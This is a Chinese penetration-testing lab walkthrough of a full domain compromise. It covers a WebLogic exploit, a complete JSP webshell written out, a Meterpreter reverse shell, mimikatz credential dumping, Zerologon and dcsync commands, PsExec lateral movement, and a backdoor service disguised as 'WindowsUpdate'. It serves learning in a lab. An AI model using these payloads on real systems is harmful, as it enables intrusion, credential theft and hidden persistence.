目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Weblogic漏洞利用
3、Getshell
4、CS上线
5、内网信息收集
利用zerologon漏洞攻击域控服务器(获取密码)
6、横向移动
①使用PsExec上线域控服务器
②使用PsExec上线域内主机
7、权限维持
8、痕迹清理
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.131)
靶 机:
WEB[10.10.10.80(仅主机的10网段,指定dns为DC的IP)、192.168.200.135(nat网卡)];
DC(仅主机的10网段,10.10.10.10);
PC(仅主机的10网段,10.10.10.201,指定dns为DC的IP、192.168.200.136(nat网卡))。
2、注意事项
(1)web主机刚开始使用默认密码登不上去,先使用de1ay/1qaz@WSX登录,然后修改WEB/de1ay的密码即可。
(2) web主机以管理员权限运行文件:C:\Oracle\Middleware\user_projects\domains\base_domain\bin\startWebLogic,之后可以开始渗透了。
3、使用工具/软件
Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)
Cobalt Strike4.7版本(狐狸工具箱8.0)
测试网址:http://192.168.200.135/
二、测试目的
通过一个web主机,拿下域内所有主机权限,并实现持久化控制,进行痕迹清理。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
探测到两台主机:192.168.200.136、192.168.200.135 (WEB主机)
端口和服务扫描
nmap -sS -A -T4 -p- 192.168.200.135
扫描到很多端口和服务
开启端口:80、135、139、445、1433、3389、7001
nmap -sS -A -T4 -p- 192.168.200.136
开启端口:135、139、445、3389
目录扫描
dirsearch -u http://192.168.200.135/ -i 200,301 --exclude-sizes=0B
只扫到了一个目录,没什么内容 /aspnet_client
Web服务开启了7001端口的,是weblogic的默认服务端口,尝试扫描该端口
dirsearch -u http://192.168.200.135:7001 -i 200,301 --exclude-sizes=0B
2、Weblogic漏洞利用
用weblogic漏洞探测一下,靶机的weblogic存在漏洞
python ws.py -t 192.168.200.135
使用CVE-2019-2729的exp
Github地址:https://github.com/black-mirror/Weblogichttps://github.com/black-mirror/Weblogic
执行exp,执行成功
python weblogic_get_webshell.py http://192.168.200.135:7001
同时植入了一个webshell文件,有RCE漏洞
查看web服务器的IP信息
http://192.168.200.135:7001/_async/.s8Jn4gWlqX2c592.jsp?cmd=ipconfig+/all
发现web服务器存在双网卡,IP分别为:10.10.10.80、192.168.200.135
查看域控服务器的IP
10.10.10.10
http://192.168.200.135:7001/_async/.s8Jn4gWlqX2c592.jsp?cmd=ping+de1ay.com
3、Getshell
查看进程列表,/SVC参数用来显示服务名称
http://192.168.200.135:7001/_async/.s8Jn4gWlqX2c592.jsp?cmd=tasklist+/SVC
在线识别杀软类型
将tasklist /SVC命令执行结果导入即可,发现是360安全卫士
识别杀软的网站:
杀软在线识别-渊龙Sec安全团队https://av.aabyss.cn/index.php
Weblogic目录中有一个wls-wsat目录,路径:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war
可以将冰蝎马写入目录下jsp文件,shell.jsp;在cmd参数后面拼接
需要加双引号,导入到shell.jsp文件中
执行成功,返回空白页
echo "<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>" > C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\shell.jsp
接着url拼接wls-wsat目录下的shell.jsp即可
返回的是一对双引号表示成功
http://192.168.200.135:7001/wls-wsat/shell.jsp
冰蝎尝试连接,成功上线
上线的第一个冰蝎马
冰蝎很好用,可以直接反弹shell上线CS和metasploit
这里由于靶场环境原因上线CS有时会造成weblogic服务崩溃等问题,这里选择metasploit上线
在kali中设置监听器
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4321
run
然后冰蝎连接kali的IP,端口4321,方法是metaspolit
成功上线
4、CS上线
这个靶场是杀软对抗的靶场,本该免杀上线的。
奈何本人实力不足,复现一周都实现不出来免杀的效果,只好放弃免杀,关闭360。
CS设置监听器
msf将会话传递到CS
这里的会话要在关闭360后生成!!
如果和我一样在关闭360之前已经生成了会话,将会话保存后设置重启会话即可
background
sessions -u 1
-u:这个参数会更新会话,创建新的会话
查看一下会话列表
sessions -l
现在执行命令传递会话即可
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.200.131
set lport 8888
set session 2
run
可以看到CS成功上线了,用户是Administrator
设置会连时间为0
使用CS提个权
getsystem
getuid
可以看到获取了system的权限
5、内网信息收集
使用CS自带的mimikatz的命令获取密码哈希
logonpasswords
成功抓取到本机的明文密码、域用户mssql的明文密码
Administrator/1qaz@WSX
mssql/1qaz@WSX
de1ay/1qaz@WSX
信息搜集时候得到主机开启了3389端口,这里也爆出了相应的用户名和密码
因此尝试远程桌面连接
也是成功连接
CS进行内网扫描
右键—浏览探测—端口扫描
或者用命令
portscan 10.10.10.0-10.10.10.255 1-1024,3389,5000-6000 arp 1024
对10.10.10.0网段进行扫描
扫描到三台主机,分别开启端口如下:
PC.de1ay.com(10.10.10.201):5357、3389、139、135、445
WEB.de1ay.com (10.10.10.80):3389、139、135、80、445
DC.de1ay.com (10.10.10.10):5985、3389、636、593、464、389、139、135、88、53、445
利用zerologon漏洞攻击域控服务器(获取密码)
NetLogon 组件是 Windows 上的一个重要的功能组件,用于在域内网络上认证用户和机器,复制数据库进行域控备份,维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
Zerologon 漏洞(编号为CVE-2020-1472)是指在使用NetLogon安全通道与域控进行连接时,由于认证协议加密部分存在缺陷,攻击者可以将域控管理员用户的密码置为空,从而进一步实现密码哈希获取并最终获得管理员权限。成功利用该漏洞可以实现以管理员权限登录域控设备,并进一步控制整个域。
下面开始对Zerologon 漏洞进行利用。
直接使用CS即可,CS自带有mimikatz,使用命令检查zerologon漏洞是否存在,命令如下:
mimikatz lsadump::zerologon /target:DC.de1ay.com /account:DC$
使用mimikatz开始渗透
mimikatz lsadump::zerologon /target:DC.de1ay.com /account:DC$ /exploit
回显成功利用,成功设置了密码
使用mimikatz获取登录凭据;这需要上一步设置密码
mimikatz lsadump::dcsync /domain:de1ay.com /dc:DC.de1ay.com /user:administrator /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm
命令执行成功,获取了域控服务器的Administrator用户的密码哈希
161cff084477fe596a5db81874498a24
密码哈希可以解密出明文密码
Administrator/1qaz@WSX
最后需要执行命令来恢复域控服务器的密码,防止域控服务器脱域。
mimikatz lsadump::postzerologon /target:de1ay.com /account:DC$
更新密码成功
6、横向移动
①使用PsExec上线域控服务器
PsExec 是一种轻量级的Telnet替代品,可以在远程系统上启动交互式命令提示,远程启动执行包括ipconfig等cmd命令,故能够远程启动服务器上的程序、脚本等。PsExec的基本原理是:通过管道在远程目标机器上创建一个PsExec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件。然后,通过PsExec服务运行命令,运行结束后删除服务。
可以在Cobalt Strike 中利用PsExec连接域控服务器。首先需要将所获得的域控服务器的登录凭据添加到Cobalt Strike 的凭据管理器中
点击视图→密码凭证,打开凭据管理器,再添加域控服务器的登录凭据。
接着创建一个新监听器,跳板监听
右键—代理转发—转发上线
在目标列表中找到DC主机:
右键—横向移动--PsExec
PsExec设置
监听器选择刚刚创建的跳板监听,登录凭证是mimikatz渗透出的DC的登录凭据,会话选择web主机的即可
设置完成直接运行即可
执行完成即可获取域控服务器的反弹shell连接,且权限是SYSTEM用户权限。
②使用PsExec上线域内主机
内网信息搜集截断也获得了域内主机的登录凭证(但是这个登录凭证上不了线)
mssql/1qaz@WSX
接下来和上线域控服务器过程类似
点击视图→密码凭证,打开凭据管理器,再添加域内主机的登录凭据。
这里跳板监听使用之前的即可
在目标列表中找到PC主机:右键—横向移动--PsExec
PsExec设置
监听器选择刚刚创建的跳板监听,登录凭证必须是Administrator!!否则没权限上传文件,无法反弹shell
设置完成直接运行即可
执行完成即可获取域内主机的反弹shell连接,且权限是SYSTEM用户权限。
7、权限维持
使用service进行权限维持
需要CS生成一个上线的exe
使用基本的监听器即可,生成backDoor.exe
DC服务器右键—浏览探测—文件浏览
上传生成的exe文件
执行命令加入开机启动项
shell sc create "WindowsUpdate" binpath= "cmd /c start "C:\Windows\system32\backDoor.exe" "&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate
执行命令成功,这样就算目标服务器重启,会话也依然存在
8、痕迹清理
使用CS插件清楚痕迹即可
四、结论
Weblogic存在历史漏洞可以利用,可以拿到web主机的shell,免杀对抗没实现,在关闭了360后,上线CS进行内网渗透。使用mimikatz工具获取靶机信息,通过psexec工具进行横向移动。